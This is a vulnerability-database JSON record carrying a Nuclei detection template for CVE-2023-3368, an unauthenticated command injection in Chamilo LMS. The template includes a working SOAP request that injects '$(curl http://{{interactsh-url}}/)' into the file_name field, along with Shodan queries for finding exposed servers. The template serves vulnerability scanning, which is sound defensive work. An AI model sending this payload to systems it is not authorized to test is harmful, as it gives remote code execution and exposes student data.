{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-3368/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-3368/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-3368/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-3368/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-3368/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-3368"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-3368"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2023/CVE-2023-3368.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2023-3368\n\ninfo:\n  name: Chamilo LMS <= v1.11.20 Unauthenticated Command Injection\n  author: dwisiswant0\n  severity: critical\n  description: |\n    Command injection in `/main/webservices/additional_webservices.php`\n    in Chamilo LMS <= v1.11.20 allows unauthenticated attackers to obtain\n    remote code execution via improper neutralisation of special characters.\n  impact: |\n    Unauthenticated attackers can execute arbitrary system commands through the wsConvertPpt SOAP endpoint by injecting special characters in the file_name parameter, potentially compromising the entire Chamilo LMS platform and accessing student data.\n  remediation: |\n    Update Chamilo LMS to a version newer than 1.11.20 that properly neutralizes special characters and validates input in additional_webservices.php.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-3368\n    - https://starlabs.sg/advisories/23/23-3368/\n    - https://support.chamilo.org/projects/chamilo-18/wiki/security_issues#Issue-121-2023-07-05-Critical-impact-High-risk-Unauthenticated-Command-Injection-CVE-2023-3368\n    - https://github.com/chamilo/chamilo-lms/commit/37be9ce7243a30259047dd4517c48ff8b21d657a\n    - https://https://github.com/chamilo/chamilo-lms/commit/4c69b294f927db62092e01b70ac9bd6e32d5b48b\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-3368\n    cwe-id: CWE-78\n    epss-score: 0.69671\n    epss-percentile: 0.99346\n    cpe: cpe:2.3:a:chamilo:chamilo:*:*:*:*:*:*:*:*\n  metadata:\n    verified: \"true\"\n    max-request: 1\n    vendor: chamilo\n    product: chamilo\n    shodan-query:\n      - http.component:\"Chamilo\"\n      - http.component:\"chamilo\"\n      - cpe:\"cpe:2.3:a:chamilo:chamilo\"\n  tags: cve2023,cve,chamilo,unauth,cmd,rce,vkev,vuln\n\nhttp:\n  - method: POST\n    path:\n      - \"{{BaseURL}}/main/webservices/additional_webservices.php\"\n\n    headers:\n      Content-Type: application/xml\n\n    body: |\n      <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n      <SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ns1=\"{{BaseURL}}\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:ns2=\"http://xml.apache.org/xml-soap\" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n        <SOAP-ENV:Body>\n          <ns1:wsConvertPpt>\n            <param0 xsi:type=\"ns2:Map\">\n              <item>\n                <key xsi:type=\"xsd:string\">file_data</key>\n                <value xsi:type=\"xsd:string\"></value>\n              </item>\n              <item>\n                <key xsi:type=\"xsd:string\">file_name</key>\n                <value xsi:type=\"xsd:string\">$(curl http://{{interactsh-url}}/)</value>\n              </item>\n              <item>\n                <key xsi:type=\"xsd:string\">service_ppt2lp_size</key>\n                <value xsi:type=\"xsd:string\">720x540</value>\n              </item>\n            </param0>\n          </ns1:wsConvertPpt>\n        </SOAP-ENV:Body>\n      </SOAP-ENV:Envelope>\n\n    matchers-condition: and\n    matchers:\n      - type: status\n        status:\n          - 200\n\n      - type: word\n        words:\n          - \"wsConvertPptResponse\"\n        part: body\n\n      - type: word\n        part: interactsh_protocol # Confirms the HTTP Interaction\n        words:\n          - \"http\"\n# digest: 4b0a00483046022100cdfbefde7193dd2f6cb7a383a5f3ac229d9bc7edb787240952cf9217c82ec6190221008660893406e6fb9f32d8654f7863e705e346486fda1a82c4474a60284f314dd3:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2023-3368"
}